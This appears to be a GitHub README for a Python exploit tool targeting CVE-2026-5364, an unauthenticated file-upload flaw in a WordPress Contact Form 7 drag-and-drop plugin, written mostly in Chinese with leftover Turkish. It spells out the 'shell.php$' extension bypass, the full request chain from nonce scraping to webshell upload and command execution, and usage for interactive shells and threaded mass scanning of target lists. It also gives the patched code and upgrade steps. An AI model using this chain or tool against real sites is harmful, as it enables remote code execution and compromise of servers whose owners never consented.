xxconi/CVE-2026-5364
GitHub: xxconi/CVE-2026-5364
针对 WordPress CF7 拖拽上传插件未授权任意文件上传漏洞(CVE-2026-5364)的漏洞利用与批量验证工具。
Stars: 0 | Forks: 0
# CVE-2026-5364
CVE-2026-5364 是 Drag and Drop File Upload for Contact Form 7 中的一个 CVSS 8.1(高危)未授权任意文件上传漏洞。
# CVE-2026-5364 — CF7 Drag & Drop File Upload RCE
## 📋 概述
| 字段 | 值 |
|------|-------|
| **CVE ID** | CVE-2026-5364 |
| **插件** | Drag and Drop File Upload for Contact Form 7 |
| **Slug** | `drag-and-drop-file-upload-for-contact-form-7` |
| **CVSS** | 8.1(高危) |
| **向量** | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **受影响版本** | <= 1.1.3 |
| **已修复版本** | 1.1.4 |
| **研究员** | Thomas Sanzey |
| **发布日期** | 2026年4月23日 |
## 🔍 漏洞概述
插件在 `sanitize_file_name()` 清理**之前**读取文件扩展名。
攻击者上传名为 `shell.php$` 的文件:
```
pathinfo('shell.php$', PATHINFO_EXTENSION) → 'php$' ← blacklist'i atlatır
sanitize_file_name('shell.php$') → 'shell.php' ← PHP olarak kaydedilir
```
三个独立的薄弱环节链:
1. **攻击者控制的允许列表** — 从用户输入读取 `type` POST 参数
2. **先检查扩展名后清理** — `pathinfo()` 应用于原始文件名
3. **延迟清理** — `wp_unique_filename()` 中的 `sanitize_file_name()` 删除了 `$` 字符
## ⚙️ 安装
```
git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests
```
### 前置条件
- Python 3.8+
- `requests` 库
- 目标:包含 WordPress + CF7 D&D Upload <= 1.1.3 + CF7 表单的页面
## 🚀 用法
### 单一目标
```
# 基础 exploit (id 命令)
python CVE-2026-5364.py -u https://target.com
# 自定义命令
python CVE-2026-5364.py -u https://target.com -c "whoami"
# 交互式 shell
python CVE-2026-5364.py -u https://target.com --interactive
# 不同 shell 类型
python CVE-2026-5364.py -u https://target.com --shell exec
# Verbose + proxy
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080
```
### 批量扫描
```
# 使用 20 个 thread 进行扫描
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt
# 也尝试已修补版本
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30
# 将结果保存到文件
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt
```
### 所有参数
```
Hedef:
-u, --url URL Tek hedef URL
-l, --list FILE Hedef listesi (satır başı URL)
Exploit:
-c, --cmd CMD OS komutu (varsayılan: id)
--shell TYPE Webshell tipi: basic|exec|pass|eval|info
-i, --interactive İnteraktif shell aç
--no-skip-patched Yamalı sürümleri de dene
Tarama:
-t, --threads N Thread sayısı (varsayılan: 10)
--timeout S Timeout saniye (varsayılan: 15)
--proxy URL Proxy adresi
Çıktı:
-o, --output FILE Sonuç dosyası
-v, --verbose Ayrıntılı çıktı
--no-color Renksiz çıktı
```
## 🐚 Webshell 类型
| 类型 | Payload | 用法 |
|-----|---------|----------|
| `basic` | `` | 通用目的 |
| `exec` | `` | 完整输出 |
| `pass` | `` | 二进制输出 |
| `eval` | `` | 隐藏/WAF 绕过 |
| `info` | `` | PHP 信息 |
## 🔬 技术细节
### Exploit 链
```
1. Nonce Tespiti
└─ wp_localize_script() ile her ziyaretçiye açık
GET /contact/ → HTML içinde "nonce":"abc123def4"
2. Shell Yükleme
└─ POST /wp-admin/admin-ajax.php
action=cf7_file_uploads
nonce=abc123def4
type=php$ ← blacklist'te yok
file=shell.php$ ← sanitize_file_name() → shell.php
3. URL Alma
└─ Response: {"status":"ok","text":"https://target.com/wp-content/
uploads/cf7-uploads-custom/6831a2f4b3c12.php"}
4. RCE
└─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
### 绕过字符
被 `sanitize_file_name()` 删除的字符:
```
$ % ~ ` (boşluk)
```
工具会自动尝试所有绕过字符。
## 🛡️ 缓解因素
| 因素 | 影响 |
|--------|------|
| Apache `.htaccess` (`Content-Disposition: attachment`) | 阻止 PHP 执行 |
| Nginx / LiteSpeed | `.htaccess` 无效 — **可能实现 RCE** |
| 随机文件名 (`uniqid()`) | AJAX 响应返回 URL,因此**无效** |
| Nonce | CSRF 保护 — 不是身份验证,**无效** |
## 🩹 修复方案
将插件更新至 **1.1.4** 或更高版本。
```
# 使用 WP-CLI 进行更新
wp plugin update drag-and-drop-file-upload-for-contact-form-7
```
### 代码修复 (1.1.4)
```
// YANLIŞ (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
// DOĞRU (1.1.4)
$clean_name = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);
// type parametresi artık admin ayarından okunuyor
$type = $this->get_admin_allowed_types($form_id); // POST'tan değil
```
## ⚠️ 免责声明
此工具**仅用于教育和防御性安全研究**
目的。严禁在未经授权的系统上使用,否则可能产生法律
后果。请仅在**获得授权**的系统上使用。
## 📄 参考
- [Wordfence 公告](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-file-upload-for-contact-form-7/cve-2026-5364)
- [WordPress 插件页面](https://wordpress.org/plugins/drag-and-drop-file-upload-for-contact-form-7/)
- [NVD CVE-2026-5364](https://nvd.nist.gov/vuln/detail/CVE-2026-5364)
- [sanitize_file_name() 文档](https://developer.wordpress.org/reference/functions/sanitize_file_name/)
标签:CISA项目, Python, WordPress插件, 文件完整性监控, 无后门, 编程工具, 远程代码执行, 逆向工具